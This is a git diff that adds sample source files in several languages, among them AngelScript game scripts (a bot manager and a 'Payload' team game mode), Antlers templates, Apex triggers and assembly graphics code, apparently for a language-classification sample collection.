+3A44D2EA912DC96954B64689DA44A700AF5BCDCA4595215387D5216CA82BF922AC0EB939259170B49243A08FAA46C96257F259546D427253BAEA60725B96ED1D027E57CF79A1E95E47A454B9F1465AAB|>
+4CA2595425B9F949D327C45521974F449718C97BE7289FBE8E993D32CEF2AB3A824EEA2AF4F8AB2BE794D8F4E72BD61A44F8AB25C6A94C42D8CF5495136A4C825628979903E294ACE2859704C6216AC4|>
+F4EB68E6C2AB7519098C1943E3939FBCAA004A9531284597D7251F0F18CE13D5AC6D60B92DE73890EFF0725AAE674
+|HEADER=Protel for Windows - Schematic Capture Ascii File Version 5.0
diff --git a/samples/AngelScript/botmanager.as b/samples/AngelScript/botmanager.as
new file mode 100644
index 0000000000..b363c15319
--- /dev/null
+++ b/samples/AngelScript/botmanager.as
@@ -0,0 +1,77 @@
+/*
+*	This is a sample script.
+*/
+
+#include "BotManagerInterface.acs"
+
+BotManager::BotManager g_BotManager( @CreateDumbBot );
+
+CConCommand@ m_pAddBot;
+
+void PluginInit()
+{
+	g_BotManager.PluginInit();
+	
+	@m_pAddBot = @CConCommand( "addbot", "Adds a new bot with the given name", @AddBotCallback );
+}
+
+void AddBotCallback( const CCommand@ args )
+{
+	if( args.ArgC() < 2 )
+	{
+		g_Game.AlertMessage( at_console, "Usage: addbot <name>" );
+		return;
+	}
+	
+	BotManager::BaseBot@ pBot = g_BotManager.CreateBot( args[ 1 ] );
+	
+	if( pBot !is null )
+	{
+		g_Game.AlertMessage( at_console, "Created bot " + args[ 1 ] + "\n" );
+	}
+	else
+	{
+		g_Game.AlertMessage( at_console, "Could not create bot\n" );
+	}
+}
+
+final class DumbBot : BotManager::BaseBot
+{	
+	DumbBot( CBasePlayer@ pPlayer )
+	{
+		super( pPlayer );
+	}
+	
+	void Think()
+	{
+		BotManager::BaseBot::Think();
+		
+		// If the bot is dead and can be respawned, send a button press
+		if( Player.pev.deadflag >= DEAD_RESPAWNABLE )
+		{
+			Player.pev.button |= IN_ATTACK;
+		}
+		else
+			Player.pev.button &= ~IN_ATTACK;
+		
+		KeyValueBuffer@ pInfoBuffer = g_EngineFuncs.GetInfoKeyBuffer( Player.edict() );
+		
+		pInfoBuffer.SetValue( "topcolor", Math.RandomLong( 0, 255 ) );
+		pInfoBuffer.SetValue( "bottomcolor", Math.RandomLong( 0, 255 ) );
+		
+		if( Math.RandomLong( 0, 100 ) > 10 )
+			Player.pev.button |= IN_ATTACK;
+		else
+			Player.pev.button &= ~IN_ATTACK;
+			
+		for( uint uiIndex = 0; uiIndex < 3; ++uiIndex )
+		{
+			m_vecVelocity[ uiIndex ] = Math.RandomLong( -50, 50 );
+		}
+	}
+}
+
+BotManager::BaseBot@ CreateDumbBot( CBasePlayer@ pPlayer )
+{
+	return @DumbBot( pPlayer );
+}
diff --git a/samples/AngelScript/payload.as b/samples/AngelScript/payload.as
new file mode 100644
index 0000000000..ff6d915c7f
--- /dev/null
+++ b/samples/AngelScript/payload.as
@@ -0,0 +1,396 @@
+// Sample script.
+// Source: https://github.com/codecat/ssbd-payload
+
+array<WorldScript::PayloadBeginTrigger@> g_payloadBeginTriggers;
+array<WorldScript::PayloadTeamForcefield@> g_teamForceFields;
+
+[GameMode]
+class Payload : TeamVersusGameMode
+{
+	[Editable]
+	UnitFeed PayloadUnit;
+
+	[Editable]
+	UnitFeed FirstNode;
+
+	[Editable default=10]
+	int PrepareTime;
+
+	[Editable default=300]
+	int TimeLimit;
+
+	[Editable default=90]
+	int TimeAddCheckpoint;
+
+	[Editable default=2]
+	float TimeOvertime;
+
+	[Editable default=1000]
+	int TimePayloadHeal;
+
+	[Editable default=1]
+	int PayloadHeal;
+
+	PayloadBehavior@ m_payload;
+
+	int m_tmStarting;
+	int m_tmStarted;
+	int m_tmLimitCustom;
+	int m_tmOvertime;
+	int m_tmInOvertime;
+
+	PayloadHUD@ m_payloadHUD;
+	PayloadClassSwitchWindow@ m_switchClass;
+
+	array<SValue@>@ m_switchedSidesData;
+
+	Payload(Scene@ scene)
+	{
+		super(scene);
+
+		m_tmRespawnCountdown = 5000;
+
+		@m_payloadHUD = PayloadHUD(m_guiBuilder);
+		@m_switchTeam = PayloadTeamSwitchWindow(m_guiBuilder);
+		@m_switchClass = PayloadClassSwitchWindow(m_guiBuilder);
+	}
+
+	void UpdateFrame(int ms, GameInput& gameInput, MenuInput& menuInput) override
+	{
+		TeamVersusGameMode::UpdateFrame(ms, gameInput, menuInput);
+
+		m_payloadHUD.Update(ms);
+
+		if (Network::IsServer())
+		{
+			uint64 tmNow = CurrPlaytimeLevel();
+
+			if (m_tmStarting == 0)
+			{
+				if (GetPlayersInTeam(0) > 0 && GetPlayersInTeam(1) > 0)
+				{
+					m_tmStarting = tmNow;
+					(Network::Message("GameStarting") << m_tmStarting).SendToAll();
+				}
+			}
+
+			if (m_tmStarting > 0 && m_tmStarted == 0 && tmNow - m_tmStarting > PrepareTime * 1000)
+			{
+				m_tmStarted = tmNow;
+				(Network::Message("GameStarted") << m_tmStarted).SendToAll();
+
+				for (uint i = 0; i < g_payloadBeginTriggers.length(); i++)
+				{
+					WorldScript@ ws = WorldScript::GetWorldScript(g_scene, g_payloadBeginTriggers[i]);
+					ws.Execute();
+				}
+			}
+		}
+
+		if (!m_ended && m_tmStarted > 0)
+			CheckTimeReached(ms);
+	}
+
+	string NameForTeam(int index) override
+	{
+		if (index == 0)
+			return "Defenders";
+		else if (index == 1)
+			return "Attackers";
+
+		return "Unknown";
+	}
+
+	void CheckTimeReached(int dt)
+	{
+		// Check if time limit is not reached yet
+		if (m_tmLimitCustom - (CurrPlaytimeLevel() - m_tmStarted) > 0)
+		{
+			// Don't need to continue checking
+			m_tmOvertime = 0;
+			m_tmInOvertime = 0;
+			return;
+		}
+
+		// Count how long we're in overtime for later time limit fixing when we reach a checkpoint
+		if (m_tmOvertime > 0)
+			m_tmInOvertime += dt;
+
+		// Check if there are any attackers still inside
+		if (m_payload.AttackersInside() > 0)
+		{
+			// We have overtime
+			m_tmOvertime = int(TimeOvertime * 1000);
+			return;
+		}
+
+		// If we have overtime
+		if (m_tmOvertime > 0)
+		{
+			// Decrease timer
+			m_tmOvertime -= dt;
+			if (m_tmOvertime <= 0)
+			{
+				// Overtime countdown reached, time limit reached
+				TimeReached();
+			}
+		}
+		else
+		{
+			// No overtime, so time limit is reached
+			TimeReached();
+		}
+	}
+
+	void TimeReached()
+	{
+		if (!Network::IsServer())
+			return;
+
+		(Network::Message("TimeReached")).SendToAll();
+		SetWinner(false);
+	}
+
+	bool ShouldFreezeControls() override
+	{
+		return m_switchClass.m_visible
+		    || TeamVersusGameMode::ShouldFreezeControls();
+	}
+
+	bool ShouldDisplayCursor() override
+	{
+		return m_switchClass.m_visible
+		    || TeamVersusGameMode::ShouldDisplayCursor();
+	}
+
+	bool CanSwitchTeams() override
+	{
+		return m_tmStarted == 0;
+	}
+
+	PlayerRecord@ CreatePlayerRecord() override
+	{
+		return PayloadPlayerRecord();
+	}
+
+	int GetPlayerClassCount(PlayerClass playerClass, TeamVersusScore@ team)
+	{
+		if (team is null)
+			return 0;
+
+		int ret = 0;
+		for (uint i = 0; i < team.m_players.length(); i++)
+		{
+			if (team.m_players[i].peer == 255)
+				continue;
+			auto record = cast<PayloadPlayerRecord>(team.m_players[i]);
+			if (record.playerClass == playerClass)
+				ret++;
+		}
+		return ret;
+	}
+
+	void PlayerClassesUpdated()
+	{
+		m_switchClass.PlayerClassesUpdated();
+	}
+
+	void SetWinner(bool attackers)
+	{
+		if (attackers)
+			print("Attackers win!");
+		else
+			print("Defenders win!");
+
+		m_payloadHUD.Winner(attackers);
+		EndMatch();
+	}
+
+	void DisplayPlayerName(int idt, SpriteBatch& sb, PlayerRecord@ record, PlayerHusk@ plr, vec2 pos) override
+	{
+		TeamVersusGameMode::DisplayPlayerName(idt, sb, record, plr, pos);
+
+		m_payloadHUD.DisplayPlayerName(idt, sb, cast<PayloadPlayerRecord>(record), plr, pos);
+	}
+
+	void RenderFrame(int idt, SpriteBatch& sb) override
+	{
+		Player@ player = GetLocalPlayer();
+		if (player !is null)
+		{
+			PlayerHealgun@ healgun = cast<PlayerHealgun>(player.m_currWeapon);
+			if (healgun !is null)
+				healgun.RenderMarkers(idt, sb);
+		}
+
+		TeamVersusGameMode::RenderFrame(idt, sb);
+	}
+
+	void RenderWidgets(PlayerRecord@ player, int idt, SpriteBatch& sb) override
+	{
+		m_payloadHUD.Draw(sb, idt);
+
+		TeamVersusGameMode::RenderWidgets(player, idt, sb);
+
+		m_switchClass.Draw(sb, idt);
+	}
+
+	void GoNextMap() override
+	{
+		if (m_switchedSidesData !is null)
+		{
+			TeamVersusGameMode::GoNextMap();
+			return;
+		}
+
+		ChangeLevel(GetCurrentLevelFilename());
+	}
+
+	void SpawnPlayers() override
+	{
+		if (m_switchedSidesData is null)
+		{
+			TeamVersusGameMode::SpawnPlayers();
+			return;
+		}
+
+		if (Network::IsServer())
+		{
+			for (uint i = 0; i < m_switchedSidesData.length(); i += 2)
+			{
+				uint peer = uint(m_switchedSidesData[i].GetInteger());
+				uint team = uint(m_switchedSidesData[i + 1].GetInteger());
+
+				TeamVersusScore@ joinScore = FindTeamScore(team);
+				if (joinScore is m_teamScores[0])
+					@joinScore = m_teamScores[1];
+				else
+					@joinScore = m_teamScores[0];
+
+				for (uint j = 0; j < g_players.length(); j++)
+				{
+					if (g_players[j].peer != peer)
+						continue;
+					SpawnPlayer(j, vec2(), 0, joinScore.m_team);
+					break;
+				}
+			}
+		}
+	}
+
+	void Save(SValueBuilder& builder) override
+	{
+		if (m_switchedSidesData is null)
+		{
+			builder.PushArray("teams");
+			for (uint i = 0; i < g_players.length(); i++)
+			{
+				if (g_players[i].peer == 255)
+					continue;
+				builder.PushInteger(g_players[i].peer);
+				builder.PushInteger(g_players[i].team);
+			}
+			builder.PopArray();
+		}
+
+		TeamVersusGameMode::Save(builder);
+	}
+
+	void Start(uint8 peer, SValue@ save, StartMode sMode) override
+	{
+		if (save !is null)
+			@m_switchedSidesData = GetParamArray(UnitPtr(), save, "teams", false);
+
+		TeamVersusGameMode::Start(peer, save, sMode);
+
+		m_tmLimit = 0; // infinite time limit as far as VersusGameMode is concerned
+		m_tmLimitCustom = TimeLimit * 1000; // 5 minutes by default
+
+		@m_payload = cast<PayloadBehavior>(PayloadUnit.FetchFirst().GetScriptBehavior());
+
+		if (m_payload is null)
+			PrintError("PayloadUnit is not a PayloadBehavior!");
+
+		UnitPtr unitFirstNode = FirstNode.FetchFirst();
+		if (unitFirstNode.IsValid())
+		{
+			auto node = cast<WorldScript::PayloadNode>(unitFirstNode.GetScriptBehavior());
+			if (node !is null)
+				@m_payload.m_targetNode = node;
+			else
+				PrintError("First target node is not a PayloadNode script!");
+		}
+		else
+			PrintError("First target node was not set!");
+
+		WorldScript::PayloadNode@ prevNode;
+
+		float totalDistance = 0.0f;
+
+		UnitPtr unitNode = unitFirstNode;
+		while (unitNode.IsValid())
+		{
+			auto node = cast<WorldScript::PayloadNode>(unitNode.GetScriptBehavior());
+			if (node is null)
+				break;
+
+			unitNode = node.NextNode.FetchFirst();
+
+			@node.m_prevNode = prevNode;
+			@node.m_nextNode = cast<WorldScript::PayloadNode>(unitNode.GetScriptBehavior());
+
+			if (prevNode !is null)
+				totalDistance += dist(prevNode.Position, node.Position);
+
+			@prevNode = node;
+		}
+
+		float currDistance = 0.0f;
+
+		auto distNode = cast<WorldScript::PayloadNode>(unitFirstNode.GetScriptBehavior());
+		while (distNode !is null)
+		{
+			if (distNode.m_prevNode is null)
+				distNode.m_locationFactor = 0.0f;
+			else
+			{
+				currDistance += dist(distNode.m_prevNode.Position, distNode.Position);
+				distNode.m_locationFactor = currDistance / totalDistance;
+			}
+
+			@distNode = distNode.m_nextNode;
+		}
+
+		m_payloadHUD.AddCheckpoints();
+	}
+
+	void SpawnPlayer(int i, vec2 pos = vec2(), int unitId = 0, uint team = 0) override
+	{
+		TeamVersusGameMode::SpawnPlayer(i, pos, unitId, team);
+
+		PayloadPlayerRecord@ record = cast<PayloadPlayerRecord>(g_players[i]);
+		record.HandlePlayerClass();
+
+		if (g_players[i].local)
+		{
+			//TODO: This doesn't work well
+			bool localAttackers = (team == HashString("player_1"));
+			for (uint j = 0; j < g_teamForceFields.length(); j++)
+			{
+				bool hasCollision = (localAttackers != g_teamForceFields[j].Attackers);
+
+				auto units = g_teamForceFields[j].Units.FetchAll();
+				for (uint k = 0; k < units.length(); k++)
+				{
+					PhysicsBody@ body = units[k].GetPhysicsBody();
+					if (body is null)
+					{
+						PrintError("PhysicsBody for unit " + units[k].GetDebugName() + "is null");
+						continue;
+					}
+					body.SetActive(hasCollision);
+				}
+			}
+		}
+	}
+}
diff --git a/samples/Antlers/index.antlers.html b/samples/Antlers/index.antlers.html
new file mode 100644
index 0000000000..da2ee965d9
--- /dev/null
+++ b/samples/Antlers/index.antlers.html
@@ -0,0 +1,27 @@
+<article class="max-w-6xl mx-auto px-3">
+    <header class="mx-auto max-w-xl text-center content">
+        <h1 class="mb-4">Blog</h1>
+        <p>This is description of the type of content you would expect to read here on this blog.</p>
+    </header>
+    {{ collection:blog as="posts" paginate="12" sort="date:desc" }}
+        <section class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6 py-8">
+            {{ posts }}
+                <div class="{{ $first ? 'md:col-span-2' : 'col-span-1' }}">
+                    {{ partial:blog/card :oversized="first" }}
+                </div>
+            {{ /posts }}
+        </section>
+        {{ paginate }}
+            {{ if $prev_page || $next_page }}
+            <section class="flex space-x-8 justify-center text-xl pt-16 font-bold">
+                {{ if $prev_page }}
+                    <a href="{{ $prev_page }}"><span class="squiggle">&larr;</span> Newer articles</a>
+                {{ /if }}
+                {{ if $next_page }}
+                    <a href="{{ $next_page }}">Older articles <span class="squiggle">&rarr;</span></a>
+                {{ /if }}
+            </section>
+            {{ /if }}
+        {{ /paginate }}
+    {{ /collection:blog }}
+</article>
diff --git a/samples/Antlers/kitchensink.antlers.html b/samples/Antlers/kitchensink.antlers.html
new file mode 100644
index 0000000000..9a8768a1d3
--- /dev/null
+++ b/samples/Antlers/kitchensink.antlers.html
@@ -0,0 +1,49 @@
+---
+foo: bar
+baz: qux
+---
+<!DOCTYPE html>
+<html>
+<head>
+    <title>{{ seo_title ?? title }}</title>
+</head>
+<body>
+
+    {{ partial:layouts/navigation foo="bar" :baz="qux" }}
+
+    <ul>
+        {{ collection:blog limit="10" :foo:bar="baz" }}
+            <li>{{ title }}</li>
+        {{ /collection:blog }}
+    </ul>
+
+    {{# foo #}}
+
+    @{{ foo }}
+
+    {{? foo = "bar" ?}}
+
+    {{$ foo = "bar" $}}
+
+    {{ alfa | bravo | charlie(delta, 'echo', "foxtrot", $golf, 42) }}
+
+    {{ alfa[bravo] }}
+
+    {{ alfa['bravo'] }}
+
+    {{ foo ? bar : baz }}
+
+    {{ foo ?= bar }}
+
+    {{ switch(
+        (size == 'sm') => '(min-width: 768px) 35vw, 90vw',
+        (size == 'lg') => '(min-width: 768px) 75vw, 90vw',
+        () => '100vw'
+    ) }}
+
+    {{ items = {collection:headlines} merge {collection:news limit="5"} }}
+
+    <?php echo 'foo'; ?>
+
+</body>
+</html>
diff --git a/samples/Antlers/kitchensink.antlers.php b/samples/Antlers/kitchensink.antlers.php
new file mode 100644
index 0000000000..9a8768a1d3
--- /dev/null
+++ b/samples/Antlers/kitchensink.antlers.php
@@ -0,0 +1,49 @@
+---
+foo: bar
+baz: qux
+---
+<!DOCTYPE html>
+<html>
+<head>
+    <title>{{ seo_title ?? title }}</title>
+</head>
+<body>
+
+    {{ partial:layouts/navigation foo="bar" :baz="qux" }}
+
+    <ul>
+        {{ collection:blog limit="10" :foo:bar="baz" }}
+            <li>{{ title }}</li>
+        {{ /collection:blog }}
+    </ul>
+
+    {{# foo #}}
+
+    @{{ foo }}
+
+    {{? foo = "bar" ?}}
+
+    {{$ foo = "bar" $}}
+
+    {{ alfa | bravo | charlie(delta, 'echo', "foxtrot", $golf, 42) }}
+
+    {{ alfa[bravo] }}
+
+    {{ alfa['bravo'] }}
+
+    {{ foo ? bar : baz }}
+
+    {{ foo ?= bar }}
+
+    {{ switch(
+        (size == 'sm') => '(min-width: 768px) 35vw, 90vw',
+        (size == 'lg') => '(min-width: 768px) 75vw, 90vw',
+        () => '100vw'
+    ) }}
+
+    {{ items = {collection:headlines} merge {collection:news limit="5"} }}
+
+    <?php echo 'foo'; ?>
+
+</body>
+</html>
diff --git a/samples/Antlers/layout.antlers.html b/samples/Antlers/layout.antlers.html
new file mode 100644
index 0000000000..63663e10e1
--- /dev/null
+++ b/samples/Antlers/layout.antlers.html
@@ -0,0 +1,29 @@
+{{#
+	@name Layout
+	@desc The default layout file.
+#}}
+
+<!-- /layout.antlers.html -->
+<!doctype html>
+<html lang="{{ site:short_locale }}">
+    <head>
+        <meta charset="utf-8">
+        <meta http-equiv="X-UA-Compatible" content="IE=edge">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
+        <link rel="stylesheet" href="{{ mix src='css/site.css' }}">
+        <script src="{{ mix src='/js/site.js' }}" defer></script>
+        {{ partial:snippets/seo }}
+        {{ partial:snippets/browser_appearance }}
+    </head>
+    <body class="flex flex-col min-h-screen bg-white selection:bg-primary selection:text-white">
+        {{ partial:snippets/noscript }}
+        {{ partial:navigation/skip_to_content }}
+        {{ partial:components/toolbar }}
+        {{ yield:seo_body }}
+
+        {{ partial:layout/header }}
+        {{ template_content }}
+        {{ partial:layout/footer }}
+    </body>
+</html>
+<!-- End: /layout.antlers.html -->
diff --git a/samples/Antlers/sitemap.antlers.xml b/samples/Antlers/sitemap.antlers.xml
new file mode 100644
index 0000000000..0aaab458c6
--- /dev/null
+++ b/samples/Antlers/sitemap.antlers.xml
@@ -0,0 +1,20 @@
+{{ xml_header }}
+<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"{{ if {locales:count} > 1 }} xmlns:xhtml="http://www.w3.org/1999/xhtml"{{ /if }}>
+    {{ seo:sitemap_collections }}
+        {{ collection from="{handle}" seo_noindex:isnt="true" as="results" }}
+            {{ results }}
+                <url>
+                    <loc>{{ permalink }}</loc>
+                    <lastmod>{{ updated_at format="Y-m-d"}}</lastmod>
+                    <changefreq>{{ sitemap_change_frequency ? sitemap_change_frequency : 'weekly' }}</changefreq>
+                    <priority>{{ sitemap_priority ? sitemap_priority : '0.5' }}</priority>
+                    {{ if {locales:count} > 1 }}
+                        {{ locales }}
+                            <xhtml:link rel="alternate" hreflang="{{ locale:full }}" href="{{ permalink }}"/>
+                        {{ /locales }}
+                    {{ /if }}
+                </url>
+            {{ /results }}
+        {{ /collection }}
+    {{ /seo:sitemap_collections }}
+</urlset>
diff --git a/samples/Apex/AccountTrigger.trigger b/samples/Apex/AccountTrigger.trigger
new file mode 100644
index 0000000000..c0d23fe4f5
--- /dev/null
+++ b/samples/Apex/AccountTrigger.trigger
@@ -0,0 +1,33 @@
+trigger AccountTrigger on Account(
+    before insert,
+    after insert,
+    before update,
+    after update,
+    before delete,
+    after delete,
+    after undelete
+) {
+    // This trigger utilizes a trigger handler pattern & framework.
+    // For more information on how the framework operates, see the following classes:
+    // * TriggerHandler.cls
+    // * AccountTriggerHandler.cls
+
+    /**
+     * Our TriggerHandler framework can be invoked in one of two ways.
+     * 1. You can directly invoke a trigger handler class by name using this
+     * syntax: new TriggerHandlerName().run(); For instance, you could directly
+     * invoke the AccountTriggerHandler().run();
+     *
+     */
+
+    new AccountTriggerHandler().run();
+
+    /**
+     * 2. Alternatively, you can use the MetadataTriggerHandler().run();
+     * method. This is responsible for identifying from custom metadata which
+     * trigger handler classes are to be invoked, and in what order.
+     *
+     */
+
+    new MetadataTriggerHandler().run();
+}
\ No newline at end of file
diff --git a/samples/Apex/AddRelatedRecord.trigger b/samples/Apex/AddRelatedRecord.trigger
new file mode 100644
index 0000000000..f39cfb7153
--- /dev/null
+++ b/samples/Apex/AddRelatedRecord.trigger
@@ -0,0 +1,22 @@
+trigger AddRelatedRecord on Account(after insert, after update) {
+        List<Opportunity> oppList = new List<Opportunity>();
+        // Get the related opportunities for the accounts in this trigger
+        Map<Id,Account> acctsWithOpps = new Map<Id,Account>(
+            [SELECT Id,(SELECT Id FROM Opportunities) FROM Account WHERE Id IN :Trigger.new]);
+        // Add an opportunity for each account if it doesn't already have one.
+        // Iterate through each account.
+        for(Account a : Trigger.new) {
+            System.debug('acctsWithOpps.get(a.Id).Opportunities.size()=' + acctsWithOpps.get(a.Id).Opportunities.size());
+            // Check if the account already has a related opportunity.
+            if (acctsWithOpps.get(a.Id).Opportunities.size() == 0) {
+                // If it doesn't, add a default opportunity
+                oppList.add(new Opportunity(Name=a.Name + ' Opportunity',
+                                           StageName='Prospecting',
+                                           CloseDate=System.today().addMonths(1),
+                                           AccountId=a.Id));
+            }           
+        }
+        if (oppList.size() > 0) {
+            insert oppList;
+        }
+    }
\ No newline at end of file
diff --git a/samples/Apex/LogTriggerHandler.trigger b/samples/Apex/LogTriggerHandler.trigger
new file mode 100644
index 0000000000..3b4d1fb33b
--- /dev/null
+++ b/samples/Apex/LogTriggerHandler.trigger
@@ -0,0 +1,45 @@
+/**
+ * @description Trigger handler for persisting Platform Event based
+ * log messages.
+ *
+ * @group Trigger Recipes
+ * @see Log
+ */
+public with sharing class LogTriggerHandler extends TriggerHandler {
+    List<Log__e> incomingRecords = new List<Log__e>();
+
+    /**
+     * @description constructor accepting a list of log__e records
+     */
+    public LogTriggerHandler() {
+        this.incomingRecords = (List<Log__e>) Trigger.new;
+    }
+
+    /**
+     * @description code to be executed in the afterInsert context
+     */
+    override public void afterInsert() {
+        List<LogEvent__c> events = new List<LogEvent__c>();
+
+        for (Log__e event : this.incomingRecords) {
+            events.add(
+                new LogEvent__c(
+                    Log_Data__c = event.Log_Message__c,
+                    Quiddity__c = event.Quiddity__c,
+                    Request_Id__c = event.Request_Id__c,
+                    Severity__c = event.Severity__c
+                )
+            );
+        }
+
+        List<Database.SaveResult> res = Database.insert(events, false);
+        for (Database.SaveResult saveRes : res) {
+            if (!saveRes.isSuccess()) {
+                System.debug(
+                    LoggingLevel.ERROR,
+                    'Failed to save log message: ' + saveRes
+                );
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/samples/Assembly/3D_PRG.I b/samples/Assembly/3D_PRG.I
new file mode 100644
index 0000000000..a48f154490
--- /dev/null
+++ b/samples/Assembly/3D_PRG.I
@@ -0,0 +1,82 @@
+; this file is part of Release, written by Malban in 2017
+;
+***********************************************************  
+; input list in X
+; destroys u
+; 0 move
+; negative use as shift
+; positive end
+asm_draw_3ds: 
+       ldu 2,x
+       lda 1,x;
+starts:
+       sta $d004;
+       ldd ,u;
+       sta $d001;
+       clr $d000;
+       lda ,x;
+       inc $d000;
+       stb $d001;
+       sta $d00A;
+       clr $d005;
+       leax 4,x;
+       ldu 2,x;
+       lda ,x;
+       bgt end1s;
+       lda 1,x;
+       ldb #$40;
+waits: bitb $d00D;
+       beq waits;
+       ldb #0
+       stb $d00A;
+       bra starts;
+end1s: ldd #$0040;
+ends:  bitb $d00D;
+       beq ends;
+       sta $d00A
+ rts
+
+ 
+asm_draw_3d:
+       ldu 1,x
+start: ldd ,u;
+       sta $d001;
+       clr $d000;
+       lda ,x;
+       inc $d000;
+       stb $d001;
+       sta $d00A;
+       clr $d005;
+       leax 3,x;
+       ldu 1,x;
+       lda ,x;
+       bgt end1;
+       ldd #$0040;
+wait:  bitb $d00D;
+       beq wait;
+       sta $d00A;
+       bra start;
+end1:  ldd #$0040;
+end:   bitb $d00D;
+       beq end;
+       sta $d00A
+ rts
+
+
+
+; Cosinus data
+cosinus3d: 
+                    DB       63, 62, 61, 60, 58, 55, 52, 48, 43, 39, 34 ; 11 
+                    DB       28, 23, 17, 10, 4, -1, -7, -14, -20, -25, -31 ; 22 
+                    DB       -36, -41, -46, -50, -53, -56, -59, -61, -62, -62, -62 ; 33 
+                    DB       -62, -61, -59, -56, -53, -50, -46, -41, -36, -31, -25 ; 44 
+                    DB       -20, -14, -7, -1, 4, 10, 17, 23, 28, 34, 39 ; 55 
+                    DB       43, 48, 52, 55, 58, 60, 61, 62, 63 
+; Sinus data
+sinus3d: 
+                    DB       0, 6, 12, 18, 24, 30, 35, 40, 45, 49, 52 ; 11 
+                    DB       56, 58, 60, 62, 62, 62, 62, 61, 59, 57, 54 ; 22 
+                    DB       51, 47, 42, 38, 32, 27, 21, 15, 9, 3, -3 ; 33 
+                    DB       -9, -15, -21, -27, -32, -38, -42, -47, -51, -54, -57 ; 44 
+                    DB       -59, -61, -62, -62, -62, -62, -60, -58, -56, -52, -49 ; 55 
+                    DB       -45, -40, -35, -30, -24, -18, -12, -6, -3 
diff --git a/samples/Assembly/A8514.I b/samples/Assembly/A8514.I
new file mode 100644
index 0000000000..6f311c385f
--- /dev/null
+++ b/samples/Assembly/A8514.I
@@ -0,0 +1,230 @@
+
+
+;;/*....................Bit Definitions....................................*/
+NOERROR	equ	00h
+NO8514A		equ 80h
+;;/*....................GC250 REGISTERS....................................*/
+DISP_STAT		equ 02E8h	;/* Display Status Register		*/
+H_TOTAL			equ 02E8h  ;/* Horizontal Total Register	*/
+DAC_MASK		equ 02EAh	;/* DAC Mask 					*/
+DAC_RINDEX		equ 02EBh	;/* DAC read index register		*/
+DAC_WINDEX		equ 02ECh	;/* DAC write index register		*/
+DAC_DATA		equ 02EDh	;/* DAC Data register			*/
+H_DISPLAYED		equ 06E8h	;/* Horiz Displayed Reg			*/
+H_SYNC_STRT		equ 0AE8h	;/* Horiz Sync Start Reg			*/
+H_SYNC_WID		equ 0EE8h	;/* Horiz Sync Width Reg			*/
+V_TOTAL			equ 12E8h	;/* Vertical Total Reg			*/
+V_DISPLAYED		equ 16E8h	;/* Vertical Displayed Reg		*/
+V_SYNC_STRT		equ 1AE8h	;/* Vertical Sync Start Reg		*/
+V_SYNC_WID		equ 1EE8h	;/* Vertical Sync Width Reg		*/
+DISP_CNTL		equ 22E8h	;/* Display Control Register		*/
+SUBSYS_CNTL		equ 42E8h	;/* Subsystem Control Reg		*/
+SUBSYS_STAT 	equ 42E8h	;/* Subsystem Status Reg			*/
+ROM_PAGE_SEL	equ 46E8h	;/* ROM Page Select Reg			*/
+ADVFUNC_CNTL	equ 4AE8h	;/* Adv Func Control Reg			*/
+CUR_Y_POS		equ 82E8h	;/* Current Y Position			*/
+CUR_X_POS		equ 86E8h	;/* Current Y Position			*/
+DESTY_AXSTP		equ 8AE8h	;/* Dest Y/Axial Step Reg		*/
+DESTX_DIASTP	equ 8EE8h	;/* Dest X/Diagl Step Reg		*/
+ERR_TERM		equ 92E8h	;/* Error Term Register			*/
+MAJ_AXIS_PCNT	equ 96E8h	;/* Major Axis Pixel Count		*/
+COMMAND			equ 9AE8h	;/* Command register				*/
+GP_STATUS		equ 9AE8h	;/* Graphics Processor Status	*/
+CMD_STATUS		equ 9AE9h	;/* Command status register		*/
+SHORT_STROKE	equ 9EE8h	;/* Short Stroke Vector Reg		*/
+BKGD_COLOR		equ 0A2E8h	;/* Background Color 			*/
+FRGD_COLOR		equ 0A6E8h	;/* Foreground Color 			*/
+WRT_MASK		equ 0AAE8h	;/* Write Mask					*/
+RD_MASK			equ 0AEE8h	;/* Read Mask					*/
+COLOR_CMP		equ 0B2E8h	;/* Color Compare Register		*/
+BKGD_MIX		equ 0B6E8h	;/* Background Mix Register		*/
+FGRD_MIX		equ 0BAE8h	;/* Foreground Mix Register		*/
+MLTFUNC_CNTL	equ 0BEE8h	;/* Multifunction Control		*/
+PIX_TRANS		equ 0E2E8h	;/* Pixel Data Transfer Reg.		*/
+;/* ..................Bit definitions of Registers .....................*/
+CMD_ACTIVE		equ 02h	;/* Command is active? */
+DATA_AVAIL		equ 01h	;/* Input Data Available? */
+NO8514			equ 40h	;/* No 8514 Monitor present */
+MONOCHROME 		equ 10h	;/* Monochrome Monitor? */
+PLANE8			equ 80h	;/* 8 plane memory available */
+;/* ..................COMMAND mask bits ................................*/
+WRITCMD		equ 01h
+PLANAR		equ 02h
+LSTPELNULL	equ 04h
+STROKE_ALG	equ 08h
+DRAWCMD		equ 10h
+INCX		equ 20h
+YMAJAXIS	equ 40h
+INCY		equ 80h
+PC_TRANS	equ 100h
+BIT16		equ 200h
+BYTE_SWAP	equ 1000h
+NO_FCN		equ 0000h
+LINE_DRAW	equ 2000h
+FILL_X_RECT	equ 4000h
+FILL_Y_RECT	equ 6000h
+FILL_RECT	equ 8000h
+AXIAL_LINE	equ 0A000h
+COPY_RECT	equ 0C000h
+HANG		equ 0E000h
+;/* ..................MIX Defines ........................................*/
+MIX_NOT_DEST		equ 00h
+MIX_ZERO			equ 01h
+MIX_ONE				equ 02h
+MIX_DEST			equ 03h
+MIX_NOT_SRC			equ 04h
+MIX_SRC_XOR_DEST	equ 05h
+MIX_NOT				equ 06h
+MIX_SRC				equ 07h
+;/* .................MIX Sources .........................................*/
+B_CLR_ACTIVE	equ 00h
+F_CLR_ACTIVE	equ 20h
+PTRANS_ACTIVE	equ 40h
+ALL_PLANE_CPY	equ 60h
+;/* .................MLTFUNC_CNTL ... high order nibble is an index .......*/
+MINOR_AXIS_PCNT	equ 0000h
+SCISSOR_T		equ 1000h
+SCISSOR_L		equ 2000h
+SCISSOR_B		equ 3000h
+SCISSOR_R		equ 4000h
+MEM_CNTL		equ 5000h
+PIX_CNTL		equ 0A000h
+;/* Mix operation select */
+ONE_PLN_COPY 	equ 0C0h
+;/* Write transfers use fgdmix for 1's and bkgdmix for 0's */
+WRT_PLN_MODE	equ 080h
+;/* Write transfers use fgdmix for 1's and bkgdmix for 0's */
+PIX_MIX_SEL		equ 040h
